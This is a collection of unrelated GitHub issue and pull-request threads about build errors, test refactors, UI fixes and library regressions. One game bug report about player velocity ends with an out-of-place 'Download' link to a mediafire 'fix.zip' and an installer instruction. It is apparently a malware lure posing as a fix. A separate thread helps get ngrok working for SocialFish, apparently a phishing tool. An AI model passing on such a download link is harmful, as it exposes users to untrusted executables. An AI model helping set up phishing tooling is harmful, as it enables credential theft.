text:
Ensure that 'End of Program' message is printed consistently for every charm program execution

Original issue: https://charm.cs.illinois.edu/redmine/issues/1949

Build: verbs-linux-x86_64-smp
Machine: Golub
Iteratively run the hello example or any other simple program with multiple PEs per process (ppn >= 2) in order to reproduce and test. (The 'End of Program' message is not printed about once in ten runs).
The fix is to ensure that the message is printed consistently before the runtime exits.

Original date: 2018-08-17 22:29:57

Does this happen with and/or without Charmrun?

Original date: 2019-03-15 20:36:38

This sounds similar to ~~https://charm.cs.illinois.edu/gerrit/c/charm/+/913~~ https://github.com/UIUC-PPL/charm/commit/01ace8856c08833bca4629d673cd6a2bc42cb720

Original date: 2019-04-12 22:10:20

Gerrit change: ~~https://charm.cs.illinois.edu/gerrit/c/charm/+/913~~ https://github.com/UIUC-PPL/charm/commit/01ace8856c08833bca4629d673cd6a2bc42cb720 does not fix this bug. (tested with a verb-linux-x86_64-smp build on Golub).

authors: evan-charmworks nitbhat


text:
chore(DTFS2-7393): refactor facility end date feature flag e2e-tests/gef

Introduction :pencil2:
We want to refactor how ffs are tested to remove the if statements from tests.
Resolution :heavy_check_mark:

Create facility-end-date-enabled &  facility-end-date-disabled directories in any gef test suites that rely on the deal version

@ttbarnes @abhi-markan This PR is still in draft - I want to make sure everything is up to date before I copy the files and update the test.yml file

Does test.yml need updating?

It does as these tests will be executed under both the jobs e2e-tets-ff (FF enabled) and e2e-gef (FF disabled).

source: gharchive/pull-request

authors: MarRobSoftwire abhi-markan

license: MIT

license_type: permissive

license_source: github-api


text:
remove session secret

remove the session secret so our secrets (intended for the server) are not published

So when we run the app locally, do we just insert a secret? The app requires a secret so it seems you can't just now clone the repo and run the app to get it working straight out of the box

Boot strap sets a default https://github.com/UKHomeOfficeForms/hof-bootstrap/blob/master/lib/defaults.js#L23

authors: JoeChapman sulthan-ahmed

repo: UKHomeOffice/right-to-rent-check


text:
Fixing lapping hexagons over dateline

Added:

Helper functions to handle splitting and rendering hexagons that cross dateline

Update:

Save annotation function, fixed a bug where the function saves a set instead of an array
Updated h3ToBoundary function to split hexagons during render

How to test:

You can use whitehead spikesedge to test again

Closes #89

Renamed 'processHexagon' to 'checkAndSplitBoundary'
Renamed 'findDatelineIntersectionHexagon' to 'findDateLineIntersectionsOnBoundary'
Renamed 'sortBoundary' to 'sortBoundaryClockwise'
Added doc comments to all new added functions, added comments to explain logic

repo: UMassCDS/inatator


text:
Funciones API usuarios

Funciones de la api para añadir crear eliminar usuarios

Vamos a tener que borrar usuarios al final? Lo digo por subir la función o no

source: gharchive/issue


text:
🛑 Pitschi XAPI user is down

In cf98784, Pitschi XAPI user ($PITSCIH_XAPI_USER_URL) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Pitschi XAPI user is back up in dede6d1.

repo: UQ-RCC/portals


text:
Anti Deleted Channel Bot Killing

Addresses #490
Apparently the fields of a deleted channel get switched around such that the channel field now returns the channel id.

Has this been tested in uqcstesting?

Yes.

authors: bradleysigma kentonlam

repo: UQComputingSociety/uqcsbot


text:
Player can have incorrect velocity when entering and exiting screens

Description
The player entity can have incorrect velocity values when entering or exiting a screen if the user is already pressing a button (wasd)
How To Reproduce
Can happen when going in between any 2 screens, but for an example will use going from the main menu to the main game screen.

Hold one of the movement buttons, W will be used as an example.
Press start game while still holding W
release W

The player character now has movement in the direction opposite of the button they were holding, in this case the player moves downwards without any input from the player.
A very similar issue occurs when you exit a screen that you will come back to while holding a button, when you return to that screen (assuming you enter NOT holding the button) the velocity has not been removed. So without any input the player continues to move in the direction they were moving in before leaving the screen.

Be in a screen that has a playable entity
Hold a movement button, W for example
Change screens
Release W
Return to the first screen
the player now has movement (in the positive x direction for this example)

Expected Behaviour
It is expected that if the user is already holding a button, when entering a screen the player will begin to move.
It is expected that if the user is holding a button when leaving a screen, that the movement does not persist when returning to the screen.
Additional Context
This is caused by the implementation of movement in the KeyboardPlayerInputComponent class, where pressing W adds velocity in the positive x direction, and releasing adds velocity in the negative x direction.

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."


text:
PR dev branch

Finalizing these changes before working through issues

Now that this is passing will merge and branch issue/dependency specific updates

repo: USEPA/harmonize-wq


text:
Enhancements to Multi-Elements Graph

Multi-Elements Comments:

So looking at this, I can see two elements and how they compare over time. The dots were very small and very difficult to see (yellow and gray). I would suggest a blue and green color that are twice or three times the size of the current dots.

It be nice if we can select the Counties (or areas we want to see) in the future and have the County and State names on the screen with the codes.

JLS comment: Also in the graphic above, shouldn't the y-axis rescale itself so we can see a finer level of detail or is that too difficult to manage? I can see where sometimes you would want it and other times you wouldn't but maybe there is a way to manually adjust the scale. Think this might be related to Kim's earlier comment above about being able to choose a scale, ie a threshold to make outliers pop out.

@jshourds-usgs have a look and see if it's A-OK.

Looks good to me.

authors: jshourds-usgs ldecicco-USGS

repo: USGS-R/wateRuse


text:
Colab Demo? Inference on Custom Images ?

Hello, thank you for your amazing implementation
Can you provide a demo file or a colab notebook for custom images, it will be much appreciated and it'll help everyone,
Thank you

Thank you for your suggestion.
I'm sorry. We have no plans to make a demo for custom images for now.
Best wishes,
Jialun

authors: Adeel-Intizar USTC-JialunPeng


text:
Wikipedia Article Scraper

Have you completed your first issue?

[X] I have completed my first issue

Guidelines

[X] I have read the guidelines
[X] I have the link to my latest merged PR

Latest Merged PR Link
#555
Project Description
A python web scraper that retrieves  frequent words with their percentages in an English Wikipedia article and it also stores the top 20 most frequent words in a CSV file.
Full Name
Aditi
Participant Role
gssoc ext

@Aditijainnn raise 1 issue at a time.


text:
Improve cross-browser consistency of widget appearance

Noticed that IE still had the clipping issue, where some of the widget content was not visible. Made a small change that should fix it for now. I still think the overall structure of widgets should be overhauled in the future.
Screenshots (IE, then Chrome)

:+1:

authors: thevoiceofzeke timlevett

repo: UW-Madison-DoIT/angularjs-portal

license_source: bigquery


text:
Link to documentation

Basic Information
Possibly something that might be useful for the client is a link to the documentation directly from the webpage instead of the github
Other Information
Perhaps put a button next to the logout button

Will this be alright? What's the restriction on stop working on the project?

Closed by #109

authors: TheOneHoff frinzekt


text:
Update publications page with all publications by HIM

All of @pfaendtner's publications should be added to publications.html. I'm going to write a python script to parse publications from Jim's CV, and add them to the HTML template established for 2018 publications in the final commit of #5.
Hopefully this will be as easy as we made it sound in group meeting...

Addressed by #17


text:
update Events and Organization collection with average rating

createReview/removeReview/updateReview should update event/organization average rating.
create new field for event and organization to store average rating.

Reviews meteor call methods updated to update averageRating upon creating/removing/updating review.
Added a new review sample in default data.

repo: Ube-Dev/Voluntree


text:
[GitHub] Replace Markdown flavor with readable text

Remove markdown flavor so text is readable.
Examples:

contains ![link](http://linky.link), keep only link.
contains ## Header, keep Header

Edit:

contains ![link(http://linky.link), keep only http://linky.link

Definitely want to do this. Although I'd rather give the link and/or image, but shorten the URL rather than just give the alt-text.

Agreed on that.

repo: UclCommander/Dan

license: mit


text:
Скласти додаткові інформаційні блоки

Можна зробити резюме менш формальним, додавши додаткові блоки, які містять корисну інформацію, але подають її в "розважальній" формі. Наприклад, що подобається і не подобається, сильні і слабкі сторони, перелік навиків чи хобі, інфографіка або ж інтерактивні модулі, тощо. Варто написати контент такого блоку раніше, ніж починати верстку, бо його розміри впливатимуть на розміщення елементів на сторінці.

LIFE & EDUCATION
To live is to fight and to fight is to live. I started learning fighting at my master Gouken's castle, I was beaten at head way too often to remember when exactly.
LANGUAGES
🇺🇸 ENGLISH 🇨🇳 MANDARIN 🇯🇵 JAPANESE
SKILLS
KARATE ENERGY ATTACK SHORYUKEN WALKING BAREFOOT PLAYING VIDEOGAMES DOING BURGERS MASHING POTATOES COPYWRITING ACTING VOICEOVERS
CHARACTER
NOBLE DIRECT BOLD CONFIDENT DARING SCHIZOPHRENIC DRAMATIC PERSUASIVE IMMEDIATE WISE
LIFE LESSON
You must defeat Sheng Long to stand a chance.
LIKES 😃
GI VEGETABLES BLOOD SMALL MARSHMELLOWS RED COLOR KILLED ENEMY
DISLIKES 😞
BISONS GHOSTS SMARTPHONES SMELL OF SEAFOOD BARBER SHOPS SLEEVES
WANTS 🥺
BE FIT WRITE MORE BOOKS FIND A GIRLFRIEND TO GO TO CINEMA WITH KILL ALL OF AKUMA FAMILY
PUBLICATIONS
2011 The true and humble story of me under pseudonim Tyler Wilde in an article "The evolution of Ken and Ryu"
2003-2018 For 15 years I have published comic books with Udon Entertainment depicting my adventures, bitter lessons and great victories.

Languages

🇯🇵 JAPANESE 🇨🇳 MANDARIN 🇺🇸 ENGLISH

Skills

KARATE ENERGY ATTACK SHORYUKEN WALKING BAREFOOT PLAYING VIDEOGAMES DOING BURGERS MASHING POTATOES COPYWRITING ACTING VOICEOVERS

Character

NOBLE DIRECT BOLD CONFIDENT DARING SCHIZOPHRENIC DRAMATIC PERSUASIVE IMMEDIATE WISE

Likes😃

GI VEGETABLES BLOOD SMALL MARSHMELLOWS RED COLOR KILLED ENEMY

Dislikes😞

BISONS GHOSTS SMARTPHONES SMELL OF SEAFOOD BARBER SHOPS SLEEVES

Wants🥺

BE FIT WRITE MORE BOOKS FIND A GIRLFRIEND TO GO TO CINEMA WITH KILL ALL OF AKUMA FAMILY

Articles

 2011

 The true and humble story of me under pseudonim Tyler Wilde in an article "The evolution of Ken and Ryu"

 2003-2018

 For 15 years I have published comic books with Udon Entertainment depicting my adventures, bitter lessons and great victories.


text:
Question on providing - getRequestAccessURL

Hi - what's the simplest / easiest endpoint that can be setup to provide an endpoint for "getRequestAccessURL"? What do you use?
Cheers,
Alex

@alexellis
I think strava.oauth.getRequestAccessURL(args) just returns a string representing the url to use to redirect the client for the initial oAuth handshake.
I just have an endpoint '/token_exchange' that I use to handle the redirect from Strava. Is that what you mean?

I'm actually having trouble using the getRequestAcessURL endpoint:
var strava = require('strava-v3');
        strava.oauth.getRequestAccessURL({client_id: 'xxxxxx', response_type: 'code', redirect_uri: 'https://www.strava.com/oauth/authorize'}, function (err, payload, limits) {
            console.log('here');
            if (err) {
                return cb(err, null, null);
            }
            cb(err, payload, limits);
        });

The word 'here' isn't displaying but it works great with strava.athletes.get() Endpoint. Any idea why?

authors: F3L1X79 alexellis bryantee


text:
exec format error in kali nethunter

hi guys
anyone got this error on kali nethunter?
"sh: 1: ./Server/ngrok: Exec format error"
it doesn't give me ngrok url, and the only way to make it work is by starting ngrok separately from its folder, then restarting SocialFish.py
thanks

solved by placing an older version of ngrok instead of the one downloaded by SocialFish

https://github.com/An0nUD4Y/SocialFish try this one

I see you're opening /Server/ngrok, for nethunter/phone/or a raspberry you must replace this file with the corresponding CPU, in this case ARMEL, hope it helps. https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip

authors: An0nUD4Y cvrloz hxrofo

repo: UndeadSec/SocialFish


text:
macOS 16.4.1 NoSuchMethodError: org.opengis.referencing.crs.CoordinateReferenceSystem.getName()Lorg/opengis/metadata/Identifier;

ERROR [main] CaveLogger: Paint error: org.opengis.referencing.crs.CoordinateReferenceSystem.getName()Lorg/opengis/metadata/Identifier;:: The resource [State/County Boundaries] has been disabled.
com.raytheon.uf.viz.core.exception.VizException: Paint error: org.opengis.referencing.crs.CoordinateReferenceSystem.getName()Lorg/opengis/metadata/Identifier;:: The resource [State/County Boundaries] has been disabled.
	at com.raytheon.uf.viz.core.drawables.AbstractRenderableDisplay.paintResource(AbstractRenderableDisplay.java:628)
	at com.raytheon.uf.viz.core.maps.display.MapRenderableDisplay.paint(MapRenderableDisplay.java:188)
	at com.raytheon.uf.viz.d2d.core.map.D2DMapRenderableDisplay.paint(D2DMapRenderableDisplay.java:220)
	at com.raytheon.viz.ui.panes.VizDisplayPane.glDrawInternal(VizDisplayPane.java:523)
	at com.raytheon.viz.ui.panes.VizDisplayPane.draw(VizDisplayPane.java:477)
	at com.raytheon.viz.ui.panes.DrawCoordinatedPane.draw(DrawCoordinatedPane.java:172)
	at com.raytheon.viz.ui.panes.DrawCoordinatorJob$1.run(DrawCoordinatorJob.java:196)
	at org.eclipse.ui.internal.UILockListener.doPendingWork(UILockListener.java:162)
	at org.eclipse.ui.internal.UISynchronizer$3.run(UISynchronizer.java:154)
	at org.eclipse.swt.widgets.RunnableLock.run(RunnableLock.java:35)
	at org.eclipse.swt.widgets.Synchronizer.runAsyncMessages(Synchronizer.java:135)
	at org.eclipse.swt.widgets.Display.runAsyncMessages(Display.java:4024)
	at org.eclipse.swt.widgets.Display.readAndDispatch(Display.java:3700)
	at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine$4.run(PartRenderingEngine.java:1127)
	at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:337)
	at org.eclipse.e4.ui.internal.workbench.swt.PartRenderingEngine.run(PartRenderingEngine.java:1018)
	at org.eclipse.e4.ui.internal.workbench.E4Workbench.createAndRunUI(E4Workbench.java:156)
	at org.eclipse.ui.internal.Workbench$5.run(Workbench.java:694)
	at org.eclipse.core.databinding.observable.Realm.runWithDefault(Realm.java:337)
	at org.eclipse.ui.internal.Workbench.createAndRunWorkbench(Workbench.java:606)
	at org.eclipse.ui.PlatformUI.createAndRunWorkbench(PlatformUI.java:150)
	at com.raytheon.uf.viz.personalities.cave.component.CAVEApplication.startComponent(CAVEApplication.java:187)
	at com.raytheon.uf.viz.application.VizApplication.start(VizApplication.java:97)
	at org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:196)
	at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:134)
	at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:104)
	at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:380)
	at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:235)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:669)
	at org.eclipse.equinox.launcher.Main.basicRun(Main.java:608)
	at org.eclipse.equinox.launcher.Main.run(Main.java:1515)
	at org.eclipse.equinox.launcher.Main.main(Main.java:1488)
Caused by: java.lang.NoSuchMethodError: org.opengis.referencing.crs.CoordinateReferenceSystem.getName()Lorg/opengis/metadata/Identifier;
	at com.raytheon.uf.viz.core.map.MapDescriptor.pixelToWorld(MapDescriptor.java:284)
	at com.raytheon.uf.viz.core.map.MapDescriptor.pixelToWorld(MapDescriptor.java:349)
	at com.raytheon.uf.viz.core.maps.rsc.AbstractDbMapResource.buildBoundingGeometry(AbstractDbMapResource.java:213)
	at com.raytheon.uf.viz.core.maps.rsc.DbMapResource.paintInternal(DbMapResource.java:574)
	at com.raytheon.uf.viz.core.rsc.AbstractVizResource.paint(AbstractVizResource.java:510)
	at com.raytheon.uf.viz.core.maps.rsc.MapResourceGroup.paintInternal(MapResourceGroup.java:181)
	at com.raytheon.uf.viz.core.rsc.AbstractVizResource.paint(AbstractVizResource.java:510)
	at com.raytheon.uf.viz.core.drawables.AbstractRenderableDisplay.paintResource(AbstractRenderableDisplay.java:625)
	... 35 common frames omitted

!ENTRY org.eclipse.m2e.logback.appender 4 0 2017-02-28 18:01:29.200
!MESSAGE failed to load maven project for org.eclipse.jdt.internal.ui.javaeditor.JarEntryEditorInput@3b551f27
!STACK 1
org.eclipse.core.runtime.CoreException: Can't read Maven project
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil.readMavenProject(SelectionUtil.java:330)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil.getMavenProject(SelectionUtil.java:277)
	at org.eclipse.m2e.editor.pom.MavenPomEditor.readMavenProject(MavenPomEditor.java:729)
	at org.eclipse.m2e.editor.pom.MavenPomEditor$5.run(MavenPomEditor.java:1050)
	at org.eclipse.core.internal.jobs.Worker.run(Worker.java:55)
Contains: 1 problem was encountered while building the effective model for org.geotools:gt-opengis:[unknown-version]
[FATAL] Non-resolvable parent POM for org.geotools:gt-opengis:[unknown-version]: Failure to find org.geotools:library:pom:15.1 in https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced and 'parent.relativePath' points at wrong local POM @ line 16, column 11
 for project org.geotools:gt-opengis:[unknown-version] at /var/folders/qz/ml62dq1n28d33gtkt0xj0c9w0000gn/T/maven-pom3747464787357443558.pom
org.apache.maven.project.ProjectBuildingException: 1 problem was encountered while building the effective model for org.geotools:gt-opengis:[unknown-version]
[FATAL] Non-resolvable parent POM for org.geotools:gt-opengis:[unknown-version]: Failure to find org.geotools:library:pom:15.1 in https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced and 'parent.relativePath' points at wrong local POM @ line 16, column 11
 for project org.geotools:gt-opengis:[unknown-version] at /var/folders/qz/ml62dq1n28d33gtkt0xj0c9w0000gn/T/maven-pom3747464787357443558.pom
	at org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:168)
	at org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:119)
	at org.eclipse.m2e.core.internal.embedder.MavenImpl.readMavenProject(MavenImpl.java:636)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil$1.call(SelectionUtil.java:314)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil$1.call(SelectionUtil.java:1)
	at org.eclipse.m2e.core.internal.embedder.MavenExecutionContext.executeBare(MavenExecutionContext.java:176)
	at org.eclipse.m2e.core.internal.embedder.MavenExecutionContext.execute(MavenExecutionContext.java:151)
	at org.eclipse.m2e.core.internal.embedder.MavenExecutionContext.execute(MavenExecutionContext.java:99)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil.readMavenProject(SelectionUtil.java:312)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil.getMavenProject(SelectionUtil.java:277)
	at org.eclipse.m2e.editor.pom.MavenPomEditor.readMavenProject(MavenPomEditor.java:729)
	at org.eclipse.m2e.editor.pom.MavenPomEditor$5.run(MavenPomEditor.java:1050)
	at org.eclipse.core.internal.jobs.Worker.run(Worker.java:55)
Caused by: org.apache.maven.model.building.ModelBuildingException: 1 problem was encountered while building the effective model for org.geotools:gt-opengis:[unknown-version]
[FATAL] Non-resolvable parent POM for org.geotools:gt-opengis:[unknown-version]: Failure to find org.geotools:library:pom:15.1 in https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced and 'parent.relativePath' points at wrong local POM @ line 16, column 11

	at org.apache.maven.model.building.DefaultModelProblemCollector.newModelBuildingException(DefaultModelProblemCollector.java:197)
	at org.apache.maven.model.building.DefaultModelBuilder.readParentExternally(DefaultModelBuilder.java:1007)
	at org.apache.maven.model.building.DefaultModelBuilder.readParent(DefaultModelBuilder.java:796)
	at org.apache.maven.model.building.DefaultModelBuilder.build(DefaultModelBuilder.java:325)
	at org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:161)
	... 12 more
!SUBENTRY 1 org.eclipse.m2e.core 4 4 2017-02-28 18:01:29.201
!MESSAGE Can't read Maven project
!SUBENTRY 2 org.eclipse.m2e.core 4 -1 2017-02-28 18:01:29.201
!MESSAGE 1 problem was encountered while building the effective model for org.geotools:gt-opengis:[unknown-version]
[FATAL] Non-resolvable parent POM for org.geotools:gt-opengis:[unknown-version]: Failure to find org.geotools:library:pom:15.1 in https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced and 'parent.relativePath' points at wrong local POM @ line 16, column 11
 for project org.geotools:gt-opengis:[unknown-version] at /var/folders/qz/ml62dq1n28d33gtkt0xj0c9w0000gn/T/maven-pom3747464787357443558.pom
!STACK 0
org.apache.maven.project.ProjectBuildingException: 1 problem was encountered while building the effective model for org.geotools:gt-opengis:[unknown-version]
[FATAL] Non-resolvable parent POM for org.geotools:gt-opengis:[unknown-version]: Failure to find org.geotools:library:pom:15.1 in https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced and 'parent.relativePath' points at wrong local POM @ line 16, column 11
 for project org.geotools:gt-opengis:[unknown-version] at /var/folders/qz/ml62dq1n28d33gtkt0xj0c9w0000gn/T/maven-pom3747464787357443558.pom
	at org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:168)
	at org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:119)
	at org.eclipse.m2e.core.internal.embedder.MavenImpl.readMavenProject(MavenImpl.java:636)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil$1.call(SelectionUtil.java:314)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil$1.call(SelectionUtil.java:1)
	at org.eclipse.m2e.core.internal.embedder.MavenExecutionContext.executeBare(MavenExecutionContext.java:176)
	at org.eclipse.m2e.core.internal.embedder.MavenExecutionContext.execute(MavenExecutionContext.java:151)
	at org.eclipse.m2e.core.internal.embedder.MavenExecutionContext.execute(MavenExecutionContext.java:99)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil.readMavenProject(SelectionUtil.java:312)
	at org.eclipse.m2e.core.ui.internal.actions.SelectionUtil.getMavenProject(SelectionUtil.java:277)
	at org.eclipse.m2e.editor.pom.MavenPomEditor.readMavenProject(MavenPomEditor.java:729)
	at org.eclipse.m2e.editor.pom.MavenPomEditor$5.run(MavenPomEditor.java:1050)
	at org.eclipse.core.internal.jobs.Worker.run(Worker.java:55)
Caused by: org.apache.maven.model.building.ModelBuildingException: 1 problem was encountered while building the effective model for org.geotools:gt-opengis:[unknown-version]
[FATAL] Non-resolvable parent POM for org.geotools:gt-opengis:[unknown-version]: Failure to find org.geotools:library:pom:15.1 in https://repo.maven.apache.org/maven2 was cached in the local repository, resolution will not be reattempted until the update interval of central has elapsed or updates are forced and 'parent.relativePath' points at wrong local POM @ line 16, column 11

	at org.apache.maven.model.building.DefaultModelProblemCollector.newModelBuildingException(DefaultModelProblemCollector.java:197)
	at org.apache.maven.model.building.DefaultModelBuilder.readParentExternally(DefaultModelBuilder.java:1007)
	at org.apache.maven.model.building.DefaultModelBuilder.readParent(DefaultModelBuilder.java:796)
	at org.apache.maven.model.building.DefaultModelBuilder.build(DefaultModelBuilder.java:325)
	at org.apache.maven.project.DefaultProjectBuilder.build(DefaultProjectBuilder.java:161)
	... 12 more

Solution is to remove jscience.jar from /Library/Java/JavaVirtualMachines/jdk1.8.0_121.jdk/Contents/Home/jre/lib/ext/ to avoid exposing duplicate org.opengis.metadata classes.


text:
GRIB protocol regression in 4.8.1?

So I am having issues loading this dataset from python netCDF4 (installed from conda-forge):
http://thredds.ucar.edu/thredds/dodsC/grib/NCEP/GFS/Global_0p25deg_ana/TP
It is a GRIB dataset with no recent changes.
On local Ubuntu and Windows, and Ubuntu in Github actions I get this error:
...
    return Dataset(ds_str)
src\netCDF4\_netCDF4.pyx:2307: in netCDF4._netCDF4.Dataset.__init__
    ???
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

>   ???
E   OSError: [Errno -68] NetCDF: I/O failure: b'http://thredds.ucar.edu/thredds/dodsC/grib/NCEP/GFS/Global_0p25deg_ana/TP'

src\netCDF4\_netCDF4.pyx:1925: OSError
----------------------------------------------------------------------------------------------------------- Captured stderr call -----------------------------------------------------------------------------------------------------------
Error:curl error: Unsupported protocol
curl error details:
Warning:oc_open: Could not read url

It only pops up with libnetcdf 4.8.1. Versions 4.8.0 and 4.7.4 are fine. With 4.8.1 it is able to open other remote OPeNDAP endpoints in netCDF format, which suggests that GRIB is what it's tripping up on.
Not only this, but it seems that the build flags seem to matter as well. My colleague was able to read the dataset in 4.8.1 building the lib from source. When comparing, there were some differences between my build and his, notably his inclusion of szlib. See diff below, with my conda-forge build on the left and the working build on the right. However, when comparing my own build with the conda-forge build of 4.8.0, it is identical. The same build config worked on this GRIB dataset in 4.8.0 but now does not work in 4.8.1, which is why I'm bringing this here and not the conda-forge recipe repo. Anyone have any insights?

Tagging @dopplershift as he will have a better idea of how the conda version is being built.  My suspicion is that the failure is related to how libcurl in conda was compiled.  The http request to thredds.ucar.edu is being redirected to the secure https equivalent request.  If libcurl is unable to process the https protocol, that would explain the Unsupported protocol you are seeing.  I'm uncertain how to verify that this is the issue, however.  @dopplershift, can you provide guidance?

Update: I am able to replicate the failure in a test environment (using the conda-forge installed netcdf), and success using a custom-built libnetcdf.  I'll continue to investigate.

environment with 4.8.1: (not working)
curl 7.79.0 (x86_64-conda-linux-gnu) libcurl/7.79.0 OpenSSL/1.1.1l zlib/1.2.11 libssh2/1.10.0 nghttp2/1.43.0
Release-Date: 2021-09-15
Protocols: dict file ftp ftps gopher gophers http https imap imaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS GSS-API HSTS HTTP2 HTTPS-proxy IPv6 Kerberos Largefile libz NTLM NTLM_WB SPNEGO SSL TLS-SRP UnixSockets

Environment with 4.8.0:
curl 7.78.0 (x86_64-conda-linux-gnu) libcurl/7.78.0 OpenSSL/1.1.1l zlib/1.2.11 libssh2/1.9.0 nghttp2/1.43.0
Release-Date: 2021-07-21
Protocols: dict file ftp ftps gopher gophers http https imap imaps mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS GSS-API HSTS HTTP2 HTTPS-proxy IPv6 Kerberos Largefile libz NTLM NTLM_WB SPNEGO SSL TLS-SRP UnixSockets

It looks like it's just an older version.
@benjadams Could you confirm what yours says for the netcdf-c 4.8.1 built from source?

I think this is related to curl/curl#7738. Can you try updating to curl 7.79.1 with conda install libcurl=7.79.1 ?

@dopplershift That's a great bit of detective work!  Fwiw, installing libcurl=7.79.1 corrected the issue on the test environment I had set up to diagnose this.  @openSourcerer9000 I'll be curious to see if it works for you.

That's a great bit of detective work!

Honestly I just saw conda-forge mark curl 7.79 packages as broken and made an educated guess. :wink:

@WardF Yep, that did the trick for me

@dopplershift

That's a great bit of detective work!

Honestly I just saw conda-forge mark curl 7.79 packages as broken and made an educated guess. 😉

Don't reveal your tactics...  Leave them amazed and guessing...

authors: WardF dopplershift gsjaardema openSourcerer9000

repo: Unidata/netcdf-c


text:
Problem building version 4.81. with HDF5

Hello I am trying to build netcdf version 4.8.1 with HDF5 support.
First I build and checked hdf5 version 1.13.0 together with the support for ZLIB and SZIP
I am using MSVC 2017 and CMAKE GUI.
I am getting the following error message.
Checking for HDF5 version 1.10.6 or later: ON
CMake Error at CMakeLists.txt:840 (MESSAGE):
HDF5 was built without zlib.  Rebuild HDF5 with zlib.
besides the fact that I can promise that I have built the library with ZLIB, what else can I do ?
best
jac
To report a non-security related issue, please provide:

the version of the software with which you are encountering an issue
environmental information (i.e. Operating System, compiler info, java version, python version, etc.)
a description of the issue with the steps needed to reproduce it

If you have a general question about the software, please view our Suggested Support Process.

There seems to be some issue with 1.13.0 with netCDF cmake builds that the correct HDF5 library is not found and it instead finds a system-installed version.  The HDF5 team is looking into this.  Unless you need the features in the experimental 1.13.0 version of HDF5, I would suggest using HDF5-1.12.1 or previous

It is sadly unsurprising that 1.13 isn't being picked up properly, the mechanisms for detecting seem to change between major versions. I'm at AGU this week but will take a look and see what needs to be done so that we might push out a quick release to correct this.

HDF5 team is looking at this and I will forward any issue numbers or resolution steps once they have any...

Hi
Thank you very much for your support
I did more or less , intuitively , what you suggested before I read your messages then I got the following error
the directory fuzz is missing
i created a fuzz directory then I got the error that there is no CMakelist.txt file there
I just replace the 1.13 version with the previous one
best
jac

Hello
I am now using version 1.12 of HDF5 but I get an error about a missing fuzz directory (same error msg as for version 1.13 of HDF5)
here are the diags from CMAKE
Selecting Windows SDK version 10.0.17763.0 to target Windows 10.0.19044.
Found HDF5 libraries version 1.12.1
Using HDF5 include dir: C:/wrf_hydro/hdf/build/_CPack_Packages/win64/ZIP/HDF5-1.12.1-win64/include;
HDF5 has szip.
-- Checking for HDF5 version 1.10.6 or later: ON
Could NOT find CURL (missing: CURL_LIBRARY CURL_INCLUDE_DIR)
Enabling use of fill value when NC_ERANGE
Enabling a more relaxed check for NC_EINVALCOORDS
CMake Warning at CMakeLists.txt:1599 (MESSAGE):
mmap not supported under visual studio: disabling MMAP support.
Found m4: C:/Flex Windows/Bison/bin/m4.exe
Ignoring C:/Windows/System32/bash.exe
CMAKE_SOURCE_DIR=C:/wrf_hydro/netcdf/netcdf-c-4.8.1
CMAKE_BINARY_DIR=C:/wrf_hydro/netcdf/netcdf-c-4.8.1/build
CMAKE_CURRENT_SOURCE_DIR=C:/wrf_hydro/netcdf/netcdf-c-4.8.1/nc_test
CMAKE_CURRENT_BINARY_DIR=C:/wrf_hydro/netcdf/netcdf-c-4.8.1/build/nc_test
Configuration Summary:
Building Shared Libraries:     ON
Building netCDF-4:             ON
Building DAP2 Support:         OFF
Building DAP4 Support:         OFF
Building Byte-range Support:   OFF
Building Utilities:            ON
Tests Enabled:              ON
DAP Remote Tests:  ON
Extra Tests:       OFF
Coverage Tests:
Parallel Tests:    OFF
Large File Tests:
Extreme Numbers:   ON
